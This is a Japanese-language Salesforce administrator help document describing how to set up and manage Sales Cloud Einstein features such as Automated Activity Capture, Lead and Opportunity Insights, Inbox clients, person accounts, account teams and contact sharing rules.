コンテンツが共有される方法を制御できるのは、メールまたは行動の所有者のみです。複数のユーザがメー
ルまたは行動を所有する場合、最も権限の大きい設定が適用されます。たとえば、メールを 3 つのグルー
プと共有しているとします。同僚はメールを他の 2 グループと共有しています。この場合、メールは 5 グ
ループすべてと共有されます。

• 組織でプラットフォームの暗号化が有効になっている場合、Salesforce に追加されたメールと行動には暗号
化された取引先責任者とリードの名前が表示されません。

• レコードへのアクセス権を持つ全員がレコードの関連メールと行動のユーザ、件名、日付を参照できます。

関連トピック:

自動活動キャプチャ
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組織の自動活動キャプチャの最適化

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

営業担当が自動活動キャプチャを最大限に活用できるようにするため、Salesforce

システム管理者はいくつかの手順を実行できます。営業担当にメールと行動の
グループとの共有を許可し、活動レポートへのアクセス権を付与し、組織の [除
外アドレス] リストの設定を許可します。

1. 営業担当によるグループとのメールと行動の共有
チームコラボレーションを促進するため、Salesforce システム管理者は営業担
当がメールと行動をカスタマイズ可能なグループと共有できるようにグルー
プレイアウトを設定できます。

2. 営業担当の活動レポートへのアクセス権の付与
活動を容易に追跡できるように、自動活動キャプチャによる活動レポートが
追加されました。各組織は、5 つの Wave アプリケーション権限セットライセンスを取得します。Salesforce

システム管理者が権限セットライセンスと関連システム権限をユーザに割り当てた場合、ユーザは [Einstein

Analytics] タブから活動レポートにアクセスできます。
3. 組織の [除外アドレス] リストへのメールおよびドメインアドレスの追加

Salesforce システム管理者は、組織内のユーザによる自動活動キャプチャを使用して、特定のユーザに関連
付けられたメールと行動がSalesforceに追加されないようにすることができます。これを行うには、そのユー
ザまたは会社のメールまたはドメインを組織の [除外アドレス] リストに追加します。

4. 自動活動キャプチャの無効化
Salesforceシステム管理者は、[設定] から組織の自動活動キャプチャを無効にできます。無効にすると、ユー
ザのメールと行動は Salesforce の関連レコードに追加されなくなります。

関連トピック:

自動活動キャプチャ
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営業担当によるグループとのメールと行動の共有

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

ユーザ権限

グループレイアウトを編
集する
• 「アプリケーションの

カスタマイズ」

チームコラボレーションを促進するため、Salesforce システム管理者は営業担当
がメールと行動をカスタマイズ可能なグループと共有できるようにグループレ
イアウトを設定できます。
1. [設定] から、[クイック検索] ボックスに「グループレイアウト」と入力し、

[グループレイアウト] を選択します。
2. グループレイアウトに [メールと行動の共有の有効化] 項目を追加します。

メールと行動の共有にグループを使用するには、グループの所有者がグループの設定で [メールと行動の共有
の有効化] を選択します。これにより、グループのメンバーがメールと行動をグループと共有できます。

関連トピック:

Salesforce に追加するメールと行動、およびそれらを表示できるユーザの制御
組織の自動活動キャプチャの最適化
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営業担当の活動レポートへのアクセス権の付与

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

ユーザ権限

権限セットを作成して割
り当てる
• 「アプリケーションの

カスタマイズ」および
「すべてのデータの編
集」

活動を容易に追跡できるように、自動活動キャプチャによる活動レポートが追
加されました。各組織は、5 つの Wave アプリケーション権限セットライセンス
を取得します。Salesforce システム管理者が権限セットライセンスと関連システ
ム権限をユーザに割り当てた場合、ユーザは [Einstein Analytics] タブから活動レポー
トにアクセスできます。

警告: 営業担当に活動レポートへのアクセス権を付与すると、アクセス設
定または項目レベルセキュリティによって通常は非表示のデータが営業担
当に表示される場合があります。

1. 権限セットを作成します。
2. [ライセンス]ドロップダウンリストから、[Wave テンプレート管理]権限セッ

トライセンスを選択します。

3. [保存] をクリックします。
4. [システム権限] をクリックします。
5. すべてのシステム権限を有効にします。
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6. 組織内の最大 5 人のユーザに権限セットを割り当てます。
割り当てられたユーザは、[Einstein Analytics] タブで活動レポートを表示できます。

関連トピック:

活動レポートの確認
組織の自動活動キャプチャの最適化

組織の [除外アドレス] リストへのメールおよびドメインアドレスの追加

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

ユーザ権限

組織の [除外アドレス] リ
ストを更新する
• 「アプリケーションの

カスタマイズ」および
「すべてのデータの編
集」

Salesforce システム管理者は、組織内のユーザによる自動活動キャプチャを使用
して、特定のユーザに関連付けられたメールと行動が Salesforce に追加されない
ようにすることができます。これを行うには、そのユーザまたは会社のメール
またはドメインを組織の [除外アドレス] リストに追加します。

ヒント: 会社のドメインが組織の [除外アドレス] リストに追加されている
ことを確認します。これにより、社内のユーザ間のみのメールは Salesforce

に追加されません。
1. [設定] から、[クイック検索] ボックスに「除外アドレス」と入力し、[除外ア

ドレス] を選択します。
2. [除外アドレス] リストを更新します。

関連トピック:

特定のユーザに関連付けられたメールと行動の Salesforce への追加を防止
組織の自動活動キャプチャの最適化
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自動活動キャプチャの無効化

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

ユーザ権限

自動活動キャプチャを無
効にする
• 「アプリケーションの

カスタマイズ」および
「すべてのデータの編
集」

Salesforceシステム管理者は、[設定] から組織の自動活動キャプチャを無効にでき
ます。無効にすると、ユーザのメールと行動は Salesforce の関連レコードに追加
されなくなります。
1. [設定] から、[クイック検索] ボックスに「設定」と入力し、[自動活動キャプ

チャ] の [設定] を選択します。
2. 自動活動キャプチャを無効にします。

関連トピック:

組織の自動活動キャプチャの最適化

リードインサイト
エディション

Lightning Experience で使用
可能

Sales Cloud Einstein で使用
可能なエディション:
Enterprise Edition および
Unlimited Edition

リードインサイトでは、どのリードが会社の取引開始の成功パターンに最も適
合しているかが表示されます。

リードインサイトによって取引が開始される可能性が最も高いリードを確認
人工知能を使用して、リードが会社の取引開始の成功パターンにどの程度適
合しているかを分析してリードにスコアを付けます。このリードスコアに応
じて営業チームがリードに優先度を付けます。各リードスコアに最も影響す
る項目を確認できます。
リードインサイトに関する考慮事項
リードインサイトを有効にする前に、いくつかの考慮事項を確認してください。

関連トピック:

Sales Cloud Einstein の設定に関する考慮事項
Sales Cloud Einstein の設定
Sales Cloud Einstein
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リードインサイトによって取引が開始される可能性が最も高いリードを確認

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein で使用
可能なエディション:
Enterprise Edition および
Unlimited Edition

人工知能を使用して、リードが会社の取引開始の成功パターンにどの程度適合
しているかを分析してリードにスコアを付けます。このリードスコアに応じて
営業チームがリードに優先度を付けます。各リードスコアに最も影響する項目
を確認できます。
Einstein のリードインサイトは、データサイエンスと機械学習を組み合わせて、
ユーザのビジネスにおけるリードの取引開始パターンを検出し、優先する現在
のリードを予測します。リードインサイトは、機械学習を使用することで、従
来のルールベースのリードスコアリング方法よりもシンプルで迅速かつ正確な
ソリューションを提供します。
リードインサイトでは、カスタム項目を含む過去のリードが分析され、現在の
リードのうちどれが、過去の商談で取引開始に至ったリードとの共通点が最も多いかが判断されます。リード
インサイトにより、[リードスコア] 項目がリードに追加されます。営業担当は、[リードスコア] により、以前
に取引が開始されたリードとの類似点に従ってリードをランク付けし、仕事の優先度を設定できます。スコア
が高いリードほど、過去に取引が開始されたリードとの共通点が多くなります。
リードスコアは、リードの詳細ページの [Einstein] コンポーネントに表示されます。このコンポーネントで営業
担当は、スコアに最も大きなプラス (1) の影響とマイナス (2) の影響を与えているリード項目も確認できます。
[Einstein] コンポーネントに表示されていない項目もスコアに影響しますが、表示されている項目よりも影響度
は低くなります。

スコア項目をリストビューに追加すると、スコア (1) の上にマウスポインタを置くことで、スコアの背後にあ
るインサイト (2) が表示されます。比較的高いスコアのリードに重点的に取り組んだ場合、営業担当はそれら
のリードの多くを商談に結びつけることができる可能性が高まります。
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リードインサイトは過去のリードを定期的に再分析し、それに応じて現在のリードのスコアを更新します。
リードインサイトに含まれるダッシュボードには、組織の重要なリードスコア総計値を示すレポートが表示さ
れます。
• リードソース別の平均リードスコア
• リードスコア別の取引成立の割合
• リードスコアの分布: 成立した商談と不成立の商談

リードインサイトに関する考慮事項

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein で使用
可能なエディション:
Enterprise Edition および
Unlimited Edition

リードインサイトを有効にする前に、いくつかの考慮事項を確認してください。
• リードインサイトを有効にする前に、Einstein 権限セットライセンスおよび

「リードインサイトの使用」権限を最低 1 人のシステム管理者に割り当てて
ください。

• リードインサイトを有効にすると、「リードインサイトの使用」権限がある
システム管理者がアクセス可能なすべてのデータがリードインサイトダッ
シュボードに表示されます。

• リードインサイトでは、関連付けられた商談により、取引が開始されたリー
ドが分析されるため、営業担当はリードを取引開始にする間に商談を作成す
る必要があります。

• 営業担当は、毎月、最低 150 のリードを商談に変換する必要があります。
• 商談に変換されたリードが、最低 1000 件、システムに必要です。これより少なくてもリードインサイトを

有効にして分析できますが、スコアの信頼性を高めるに足る、十分なデータが集まるまで、リードスコア
は生成されません。

• リードレコードを完全に入力するように営業担当に要請してください。リードレコードにあるデータが多
いほど、リードインサイトの性能は良くなります。

• 重複リードの作成を避けて、既存の重複を削除してください。

関連トピック:

評価済みリードの取引開始
Salesforce での重複レコードの管理
Sales Cloud Einstein の設定

2027

リードインサイト販売ツールの設定および管理



商談インサイト
エディション

Lightning Experience で使用
可能

Sales Cloud Einstein で使用
可能なエディション:
Enterprise Edition および
Unlimited Edition

商談に関して関連する更新情報を営業担当に提供し、さらに多くの案件成立に
結び付けられるようにします。成立の可能性が高い商談についての予測、フォ
ローアップのアラーム、商談に関する重要な瞬間が発生したことを示す通知を
得ることができます。

メモ: 現在のところ、取引先関連および商談関連のインサイトは英語での
み利用できます。

商談インサイトは、ホームページ、商談レコード、リストビューで、各商談についての通知を必要なときに正
確に提供します。営業担当は、自分の商談に関するすべてのインサイトをホームページで確認できます。ホー
ムページには、商談の完了予定日を編集する機能や、要求に対する返答がなかった取引先責任者に電子メール
で送信する機能など、各商談に関連するアクションも提供されます。

メモ: インサイトにメールアクションを表示するには、メールのグローバルクイックアクションを作成す
る必要があります。詳細は、Salesforceヘルプの「グローバルクイックアクションの作成」を参照してくだ
さい。

営業担当は商談レコード上で商談に関連するすべてのインサイトを確認できます。
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インサイトを表示するようにリストビューをカスタマイズすることもできます。
商談インサイトは Lightning for Outlook および Lightning for Gmail で利用できます。
インサイトごとにその表示理由の詳細が示され、関連する総計値にインサイトが結び付けられます。

3 つのタイプのインサイトを利用できます。
• 商談予測 — 最近の活動や既存の商談データに基づいて予測を表示します。たとえば、商談成立の可能性が

高いかどうか、時間をかけても商談を成立できないと考えられるかどうかなどです。
• フォローアップアラーム — 取引先責任者がしばらく応答しない場合や、重要な商談に関連するコミュニ

ケーションが長期間行われていない場合、フォローアップのアラームを受け取ります。
• 重要な瞬間 — 商談に関連する重要な瞬間が発生したときに通知を受け取ります。たとえば、取引先責任者

が競合会社についてメンションした、あるいは取引先責任者が会社を退職した場合などです。
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インサイトは、レコードと活動への適切なアクセス権を持つ Einstein ユーザに表示されます。たとえば、次の
ユーザが含まれます。
• 商談所有者
• 商談チームメンバー
• 商談所有者および商談チームメンバーの直属マネージャ
また、商談の表示権限を持つすべての Einstein ユーザは、レコードの詳細ページで関連するインサイトを表示
できます。

ヒント: 商談関連の多くのインサイトは、メールや行動など、営業担当の活動から得られます。非公開の
メールからインサイトが得られた場合、そのインサイトは公開されますが、メールの内容は表示されま
せん。プライバシー設定は活動の所有者によって決定されるため、商談インサイトを最大限活用するに
は、営業担当が [すべてのメールと行動の共有設定] を [全員] に設定することが推奨されます。

関連トピック:

Sales Cloud Einstein の設定に関する考慮事項
Sales Cloud Einstein の設定
Sales Cloud Einstein

取引先インサイト
エディション

Lightning Experience で使用
可能

Sales Cloud Einstein で使用
可能なエディション:
Enterprise Edition および
Unlimited Edition

人工知能を顧客と営業チームのリレーションの維持に役立てましょう。取引先
インサイトでは、顧客に影響する重要なビジネス展開についての最新情報が常
に得られます。

メモ: 現在のところ、取引先関連および商談関連のインサイトは英語での
み利用できます。

顧客に営業の余地があるかどうかを判断する場合、顧客の会社に何が影響する
かを知ることで、営業チームは優位に立つことができます。会社は拡大してい
ますか? 経営幹部のリーダーシップは変化していますか? 競合他社を買収してい
ますか? 取引先インサイトは、営業チームに全体像を伝えるニュース記事を信頼
できる情報源から提供します。
インサイトは取引先レコードおよびホームページの Einstein コンポーネントに表示されます。
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取引先レコードでは、取引先の主要項目 ([取引先名]、[Web サイト] など) によって、返されるインサイトが
決まります。レコードごとに最大 3 つのインサイトが表示され、インサイトごとに最大 3 つの最も関連する記
事が表示されます。レコードへのアクセス権を持つすべての Einstein ユーザがインサイトを確認できます。
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ホームページでは、Einstein ユーザは自分が所有する取引先および自分が所属している取引先チームの取引先に
基づいて、インサイトを確認できます。インサイトごとに最大 3 つの最も関連する記事が表示されます。ユー
ザのマネージャもこのインサイトにアクセスできます。ユーザはメールを使用してインサイトを他のユーザに
送信したり、Chatter を使用して他のユーザおよびグループとインサイトを共有したりできます。
Einstein コンポーネントがページレイアウト上にない場合は、システム管理者が追加する必要があります。
取引先インサイトは Lightning for Outlook および Lightning for Gmail で利用できます。

関連トピック:

Sales Cloud Einstein の設定に関する考慮事項
Sales Cloud Einstein の設定
Sales Cloud Einstein
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Sales Cloud Einstein の設定に関する考慮事項
エディション

Lightning Experience で使用
可能

Sales Cloud Einstein で使用
可能なエディション:
Enterprise Edition および
Unlimited Edition

Sales Cloud Einsteinの設定前に、組織の共有モデルおよび組織に追加されているイ
ンストール済みパッケージに関する考慮事項を確認してください。
• Sales Cloud Einstein を使用するには、組織はリードと取引先責任者に対して公

開共有モデルを使用する必要があります。
• Sales Cloud Einstein を購入すると、Salesforce は SalesforceIQ Cloud と Sales Insights の

2 つのパッケージを組織にインストールします。各パッケージによって、関
連付けられたインテグレーションユーザおよびプロファイルが追加されま
す。Salesforce は、これらのエンティティを使用して組織にインサイトを提供
します。これらのエンティティを更新した場合、インサイトを取得する組織
の機能に影響する場合があります。

関連トピック:

Sales Cloud Einstein の設定
Sales Cloud Einstein

Sales Cloud Einstein の設定
エディション

Lightning Experience で使用
可能

Sales Cloud Einstein で使用
可能なエディション:
Enterprise Edition および
Unlimited Edition

ユーザ権限

Sales Cloud Einstein を設定
する
• 「アプリケーションの

カスタマイズ」および
「すべてのデータの編
集」

Sales Cloud Einsteinを設定するには、アプリケーション内のEinstein設定アシスタン
トをガイドとして使用します。Einstein を使用できるユーザを選択し、Einstein 機
能を有効にして、営業担当がインサイトを表示できるようにページおよびリス
トビューを設定します。
1. [設定] から、[クイック検索]ボックスに「設定アシスタント」と入力し、Sales

Cloud Einstein の下で [設定アシスタント] を選択します。
2. Einstein を使用できるユーザを選択します。

a. 権限セットを作成します。
b. [ライセンス] ドロップダウンリストから、[[Sales Cloud Einstein]] を選択し

ます。
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c. [保存] をクリックします。
d. [アプリケーション権限] をクリックします。
e. Einstein 機能用のアプリケーション権限を有効にします。

f. 権限セットをユーザに割り当てます。

3. Einstein 設定アシスタントから、Einstein 機能を有効にします。
自動活動取得を有効にすると、Salesforce は Einstein ユーザに、Google™ または Microsoft® Office 365® のアカウン
トを Salesforceに接続するように求めます。メールと行動が Salesforceに最初に追加されるまで最大 24 時間か
かります。

4. Lightning アプリケーションビルダーを使用して、Einstein コンポーネントをホームページと、取引先、リー
ド、および商談の Lightning ページに追加します。
Einsteinユーザは Einsteinコンポーネントでインサイトを確認できます。インサイトが利用できるようになる
まで最大 24 時間かかります。

5. インサイトが利用可能になったら、[スコア]項目を公開リードリストビューに、[上位インサイト]項目を
商談リストビューに追加します。Salesforce は、これらの項目をデフォルトのリストビューに自動的に追加
します。
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ヒント:

• 商談インサイトを最大限活用するには、[すべてのメールと行動の共有設定] を [全員]に設定し、[上位
インサイト] 項目を商談リストビューに追加するように営業担当に指示してください。

• リードインサイトを最大限活用するには、[スコア]項目をリードリストビューに追加するように営業
担当に指示してください。

関連トピック:

Sales Cloud Einstein の設定に関する考慮事項
Sales Cloud Einstein

Inbox

メールとカレンダーをSalesforceと統合してメールと行動を自動的にログ記録できる一連の機能を使用し、Inbox

のすべてのメールで生産性が向上するようにしてください。

メモ: 一部のサービスおよびサブスクリプションでは、この機能が有料オプションで用意されています。
価格設定についての詳細は、Salesforce のアカウントエグゼクティブにお問い合わせください。

使用可能なエディション: Lightning Experience および Salesforce Classic

有料オプションで使用可能なエディション: Professional Edition、Enterprise Edition、および Unlimited Edition

Inbox の自動活動キャプチャ
もうメールの記録は必要ありません。これからはよりスマートな営業が始まります。自動活動キャプチャ
により、Google™ または Microsoft® Office 365® のメールとカレンダーアカウントを Salesforce に接続できます。
接続すると、メールと行動は Salesforce の関連レコードに自動的に追加されます。
Inbox クライアント
Inbox から直接効率的に作業し、生産性を高めましょう。Inbox クライアントを使用すると、すべてのメール
で、Salesforce の関連データを確認したり、より迅速にミーティングをスケジュールしたり、インテリジェ
ントなアラームを受信してフォローアップしたりすることができます。
Inbox の設定
Inbox をインストールするには、アプリケーション内の Inbox 設定アシスタントをガイドとして使用します。
Inbox コントロールパネルをインストールし、Inbox を使用できるユーザを選択して、自動活動取得を有効に
します。
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Inbox の自動活動キャプチャ
エディション

使用可能なエディション:
Lightning Experience

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

もうメールの記録は必要ありません。これからはよりスマートな営業が始まり
ます。自動活動キャプチャにより、Google™または Microsoft® Office 365®のメールと
カレンダーアカウントを Salesforce に接続できます。接続すると、メールと行動
は Salesforce の関連レコードに自動的に追加されます。

関連トピック:

自動活動キャプチャ
Inbox

Inbox クライアント
エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

Inbox を使用可能なエディ
ション: Professional
Edition、Enterprise Edition
および Unlimited Edition

Inbox から直接効率的に作業し、生産性を高めましょう。Inbox クライアントを使
用すると、すべてのメールで、Salesforce の関連データを確認したり、より迅速
にミーティングをスケジュールしたり、インテリジェントなアラームを受信し
てフォローアップしたりすることができます。
組織に Inbox を設定すると、Inbox のユーザはどのような Inbox クライアントでも
すべてインストールできるようになります。ユーザはインストール中に、メー
ルとカレンダーを Salesforce に接続します。

Inbox クライアントのリスト
デスクトップとモバイルデバイスで Google™ と Microsoft® の一般的なメールプ
ラットフォームをサポートするため、いくつかの Inbox クライアントが提供されています。

関連トピック:

Inbox

Inbox クライアントのリスト

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

Inbox を使用可能なエディ
ション: Professional
Edition、Enterprise Edition
および Unlimited Edition

デスクトップとモバイルデバイスで Google™と Microsoft®の一般的なメールプラッ
トフォームをサポートするため、いくつかの Inbox クライアントが提供されてい
ます。

サポート対象メールアカウントInbox クライアント

GmailGmail™ Extension for Chrome™

Microsoft Office 365

Microsoft Exchange 2013 以降
Outlook® のアドイン
(Outlook Web アプリケーションおよび
Outlook 2013 以降で動作)
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サポート対象メールアカウントInbox クライアント

Gmail

Microsoft Office 365®

iOS™デバイス用のスタンドアロンモバイルメールアプ
リケーション

Microsoft Exchange 2010 以降

Gmail

Microsoft Office 365

Android™デバイス用のスタンドアロンモバイルメール
アプリケーション

Microsoft Exchange 2010 以降

Inbox の設定
エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

Inbox を使用可能なエディ
ション: Professional
Edition、Enterprise Edition
および Unlimited Edition

ユーザ権限

Inbox を設定する
• 「アプリケーションの

カスタマイズ」および
「すべてのデータの編
集」

Inbox をインストールするには、アプリケーション内の Inbox 設定アシスタントを
ガイドとして使用します。Inbox コントロールパネルをインストールし、Inbox を
使用できるユーザを選択して、自動活動取得を有効にします。
1. [設定] から、[クイック検索]ボックスに「設定アシスタント」と入力し、Inbox

の下から [設定アシスタント] を選択します。
2. Inbox コントロールパネルを AppExchange からインストールします。インストー

ル中に [すべてのユーザのインストール] を選択してください。
3. Inbox を使用できるユーザを選択します。

a. 権限セットを作成します。
b. [ライセンス] ドロップダウンリストから、[Inbox] を選択します。

c. [保存] をクリックします。
d. [アプリケーション権限] をクリックします。
e. Inbox 機能のアプリケーション権限を有効にします。
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f. 権限セットを営業担当に割り当てます。

4. Inbox 設定アシスタントから自動活動取得を有効にします。
Inbox のユーザは、Salesforce により、Google™ または Microsoft® Office 365® のアカウントを Salesforce に接続する
ように求められます。メールと行動が Salesforce に最初に追加されるまで最大 24 時間かかります。

5. Inbox の営業担当に、Inbox クライアントをインストールするように指示します。

関連トピック:

Inbox

セールス機能の設定および管理

営業担当による顧客への売上増大を後押します。Salesforceの中核的なセールス機能、営業担当の生産性機能、
および Microsoft メールインテグレーションについて説明します。

中核的なセールス機能
中核的なセールス機能では、営業担当が、会社が提供する製品およびサービスやその販売先などの基本事項を
管理できます。
取引先、取引先責任者、およびリード
• ニュース、ロゴ、および取引先の自動入力の有効化 (Lightning Experience のみ)

• Set Up Contacts to Multiple Accounts (取引先責任者-to-複数取引先の設定)

• 個人取引先の有効化
• ソーシャル取引先、取引先責任者、およびリードの有効化
リードおよびキャンペーン
• リード作成のデフォルト設定の定義
• リードの割り当てルールの設定
• 自動レスポンスルールの設定
• キャンペーンの影響の設定
見積および注文
• 見積の有効化
• 注文の設定
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商品と価格表
• 商品スケジュールの有効化
• 自動価格有効化の設定
売上予測
• コラボレーション売上予測の設定
テリトリー管理 2.0

• 組織の営業テリトリーの実装および管理
重複管理
• Salesforce での重複管理の設定
Data.com

• Data.com Clean の実装
• Data.com Prospector の実装
Work.com

• Work.com 機能の有効化
• パフォーマンスサマリーの設定
• パフォーマンスの評価の設定
• スキルおよび支持機能のカスタマイズ

営業担当の生産性機能
営業担当が行動のスケジュールやメール経由のコミュニケーションを行う生産性機能により、中核的な業務が
強化されます。
メモ
• メモの設定
活動
• 行動、カレンダー、および ToDo の設定
• Salesforce Classic での共有カレンダーの設定
Salesforce メール
• メールテンプレートの設定および管理

Microsoft メールインテグレーション
Microsoft のメールアプリケーションで Salesforce を直接操作して、重要なメールを Salesforce レコードに関連付
け、2 つのシステム間のデータを同期させます。
• Lightning for Outlook

• Lightning Sync

• Salesforce for Outlook
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ユーザの営業先の人および組織の管理

取引先の管理

個人取引先の有効化

エディション

法人取引先を使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

個人取引先を有効にする
• 「アプリケーションの

カスタマイズ」

メモ: このリリースには、Lightning Experienceの個人取引先のベータバージョ
ンが含まれています。本番品質ではありますが、既知の制限があります。
詳細は、「Lightning Experienceの制限事項」 (ページ240)を参照してください。

重要: 個人取引先は、一度有効化すると無効化できません。そのため、既
存顧客の場合は、Sandbox を作成して個人取引先が組織に与える影響をプレ
ビューすることをお勧めします。

操作を開始する前に、必ず次の手順を実行してください。
• 取引先のレコードタイプを少なくとも 1 つ作成します。
• 取引先に対する参照権限を持つプロファイルに取引先責任者に対する参照権

限を付与します。
• 取引先責任者の共有に関する組織の共有設定が「親レコードに連動」に設定

されていることを確認します。
事前手順を完了したら、Salesforce に連絡して個人取引先を有効にしてから、次
の手順を実行します。
1. 個人取引先のオブジェクト管理設定から、[レコードタイプ] に移動します。
2. 個人取引先が必要なプロファイルに個人取引先レコードタイプを割り当てま

す。

メモ: それぞれの個人取引先は、1 件の取引先と 1 件の取引先責任者で構成
されるため、個人取引先は、取引先と取引先責任者両方のストレージにカ
ウントされます。個人取引先を実装すると、追加のストレージが必要にな
ることがあるため、ストレージ使用量を確認する必要があります。

関連トピック:

取引先
個人取引先とは?

取引先設定

ユーザ権限

取引先設定を変更する
• 「アプリケーションの

カスタマイズ」

会社の階層情報、ニュース、ロゴ、自動入力などを使用して取引先レコードを
拡張します。
これらすべての設定は、[設定] の [取引先設定] ページにあります。
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説明設定

取引先の詳細の取引先階層へのリンクを表示します。営業担当は、親取引先と
子取引先間のリレーションを確認できます。
取引先階層は Lightning Experience および Salesforce Classic で使用可能です。Lightning

Experience では、[取引先階層を表示] アクションを取引先ページレイアウトに追

階層へのリンクを表示

加します。Salesforce Classicでは、[親取引先]項目を使用して取引先が親または子
取引先に関連付けられている場合は常に、取引先の詳細ページに [階層の表示]

リンクが表示されます。

営業チームにとって最も役立つ情報を表示するように、取引先階層の列をカス
タマイズします。Lightning Experience のみで使用可能です。

階層の列のカスタマイズ

米国のニュースソースからカスタマイズされた関連ニュースのリストが、営業
担当にタイムリーに提供されます。
ニュースは取引先、取引先責任者、リード、商談のほか、Lightning Experience と
Salesforce1 のホームページに表示されます。

ニュースを有効化

ニュースコンポーネントがページレイアウトに表示されることを確認してくだ
さい。

営業担当が情報を入力すると、米国を拠点とする会社が [取引先名]項目に表示
されます。営業担当は候補の企業をリストから選択できるため、法人取引先を
容易に作成できます。
自動化された取引先項目は Lightning Experience で使用可能です。

自動化された取引先項目の
有効化

米国を拠点とする取引先に企業のロゴが表示されます (ロゴを使用可能な場合)。
いくつかの新しいロゴでソーシャルプロファイルのロゴが置き換えられます。
ロゴは取引先候補でも表示されます。
取引先ロゴは Lightning Experience および Salesforce1 で使用可能です。

取引先ロゴの有効化

ユーザが複数の取引先に取引先責任者を関連付けることができます。この機能
を有効にしたら、追加の設定手順を完了してください。
取引先責任者-to-複数取引先は、Lightning Experience、Salesforce Classic、Salesforce1で
使用可能です。

取引先責任者-to-複数取引先

関連トピック:

取引先階層
ニュースコンポーネント
取引先責任者-to-複数取引先
取引先
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取引先チームの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先チームを有効にす
る
• 「アプリケーションの

カスタマイズ」

チーム内の役割を設定す
る
• 「アプリケーションの

カスタマイズ」

取引先チームメンバーを取引先に追加できます。商談に対する商談チームと同
様、取引先チームは取引先を担当するユーザで構成されるチームです。各ユー
ザのロールを定義し、取引先とその関連レコードへ特殊なレベルのアクセス権
を付与します。

[取引先チーム] を有効化する
営業担当が簡単に取引先についてコラボレーションできるようにするには、
Salesforce で取引先チームを有効にします。
取引先チーム内の役割のカスタマイズ
取引先チームの各メンバーには、取引先マネージャや営業担当者など、その
取引先で担当する役割があります。社内のチームメンバーの役割を追跡する
には、Salesforce で取引先チームの役割をカスタマイズします。
取引先チームの無効化の考慮事項
取引先チームを無効にする前に、次の主な考慮事項を確認してください。

関連トピック:

[取引先チーム] を有効化する
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[取引先チーム] を有効化する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先チームを有効にす
る
• 「アプリケーションの

カスタマイズ」

チーム内の役割を設定す
る
• 「アプリケーションの

カスタマイズ」

営業担当が簡単に取引先についてコラボレーションできるようにするには、
Salesforce で取引先チームを有効にします。
1. [設定] から、[クイック検索] ボックスに「取引先チーム」と入力し、[取引先

チームの設定] を選択します。
2. 必要に応じて、設定を定義します。
3. 変更内容を保存します。

関連トピック:

取引先チームの管理

取引先チーム内の役割のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

チーム内の役割を設定す
る
• 「アプリケーションの

カスタマイズ」

取引先チームの各メンバーには、取引先マネージャや営業担当者など、その取
引先で担当する役割があります。社内のチームメンバーの役割を追跡するには、
Salesforce で取引先チームの役割をカスタマイズします。

警告:

• 取引先チームは、商談チームと役割を共有します。取引先チーム内の役
割を削除すると、その役割は、商談チーム内の役割として表示されなく
なります。

1. [設定] から、[クイック検索] ボックスに「チーム内の役割」と入力し、[取引
先チーム] の下の [チーム内の役割] を選択します。

2. 必要に応じて、チームの役割の選択リスト値を編集します。
3. 変更内容を保存します。
4. すべてのファイルの変更された選択リスト値を更新するには、[クイック検

索] ボックスに「チーム内の役割の置き換え」と入力し、[チーム内の役割の
置き換え] を選択します。

関連トピック:

取引先チームの管理
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取引先チームの無効化の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先チームを無効にす
る
• 「アプリケーションの

カスタマイズ」

取引先チームを無効にする前に、次の主な考慮事項を確認してください。
• 取引先チームを無効にすると、すべての取引先から既存のチームが削除され

てユーザのデフォルトの取引先チームが削除され、すべてのページレイアウ
トから [取引先チーム] 関連リストが削除されます。これらは元に戻せませ
ん。

• チームメンバーがApexで参照されている場合、組織の取引先チームを無効に
することはできません。たとえば、Apexコードで [チームメンバー]項目 (コー
ド内の AccountTeamMember) が参照されている場合、取引先チームを無効
にすることはできません。

関連トピック:

取引先チームの管理

リレーショングループの管理

取引先責任者および取引先責任者の役割の設定

取引先責任者共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

取引先責任者共有ルールは、レコードタイプや特定の項目値など、レコード所
有者または他の条件に基づいて作成できます。最大で300件の取引先責任者共有
ルールを定義し、条件に基づく共有ルールを最大で 50 件含めることができま
す。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [取引先責任者共有ルール] 関連リストで、[新規] をクリックします。
